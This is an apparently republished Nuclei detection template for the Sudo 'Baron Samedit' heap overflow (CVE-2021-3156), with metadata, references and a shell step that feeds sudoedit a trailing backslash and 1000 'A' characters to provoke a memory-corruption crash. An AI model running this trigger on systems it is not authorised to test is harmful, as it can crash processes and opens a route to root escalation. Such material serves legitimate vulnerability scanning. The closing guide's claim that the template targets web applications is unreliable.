Sudo Baron Samedit - Local Privilege Escalation

ID: CVE-2021-3156

Severity: high

Author: pussycat0x

Tags: packetstorm,cve,cve2021,sudo,code,linux,privesc,local,kev,sudo_project

Description

Sudo before 1.9.5p2 contains an off-by-one error that can result in a heap-based buffer overflow, which allows privilege escalation to root via “sudoedit -s” and a command-line argument that ends with a single backslash character.

YAML Source

id: CVE-2021-3156

info:
  name: Sudo Baron Samedit - Local Privilege Escalation
  author: pussycat0x
  severity: high
  description: |
    Sudo before 1.9.5p2 contains an off-by-one error that can result in a heap-based buffer overflow, which allows privilege escalation to root via "sudoedit -s" and a command-line argument that ends with a single backslash character.
  reference:
    - https://medium.com/mii-cybersec/privilege-escalation-cve-2021-3156-new-sudo-vulnerability-4f9e84a9f435
    - https://blog.qualys.com/vulnerabilities-threat-research/2021/01/26/cve-2021-3156-heap-based-buffer-overflow-in-sudo-baron-samedit
    - https://infosecwriteups.com/baron-samedit-cve-2021-3156-tryhackme-76d7dedc3cff
    - http://packetstormsecurity.com/files/161160/Sudo-Heap-Based-Buffer-Overflow.html
    - http://packetstormsecurity.com/files/176932/glibc-syslog-Heap-Based-Buffer-Overflow.html
  classification:
    cvss-metrics: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 7.8
    cve-id: CVE-2021-3156
    cwe-id: CWE-193
    epss-score: 0.97085
    epss-percentile: 0.99757
    cpe: cpe:2.3:a:sudo_project:sudo:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    vendor: sudo_project
    product: sudo
  tags: packetstorm,cve,cve2021,sudo,code,linux,privesc,local,kev,sudo_project

self-contained: true
code:
  - engine:
      - sh
      - bash
    source: |
      sudoedit -s '\' $(python3 -c 'print("A"*1000)')

    matchers:
      - type: word
        words:
          - "malloc(): memory corruption"
          - "Aborted (core dumped)"
        condition: and
# digest: 490a00463044022003e9a47a2c4c44efd51b49bbac2f179b9affcc5acfca59cac2b0b120cef766ba0220690376c3929640e6e24b046b094bc38eb63e08f4c2914c732e04919353394a1f:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "code/cves/2021/CVE-2021-3156.yaml"

View on Github